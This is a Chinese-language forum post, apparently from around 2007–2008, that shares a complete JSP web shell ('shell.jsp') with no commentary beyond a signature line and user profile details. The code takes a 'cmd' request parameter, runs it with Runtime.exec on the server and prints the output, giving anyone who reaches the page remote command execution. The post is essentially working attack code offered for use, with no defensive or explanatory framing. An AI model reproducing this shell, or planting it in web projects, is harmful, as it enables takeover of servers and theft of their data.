返回列表 发帖
复制内容到剪贴板
代码:
<FORM METHOD=GET ACTION=&#39;shell.jsp&#39;>
<INPUT name=&#39;cmd&#39; type=text>
<INPUT type=submit value=&#39;Run&#39;>
</FORM>

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>I love amethyst!

帖子177 精华0 积分3622 阅读权限100 性别男 来自浙江 在线时间215 小时 注册时间2007-1-18 最后登录2008-7-21 查看个人网站
查看详细资料TOP

cnqing
晶莹剔透§烈日灼然

TOP

返回列表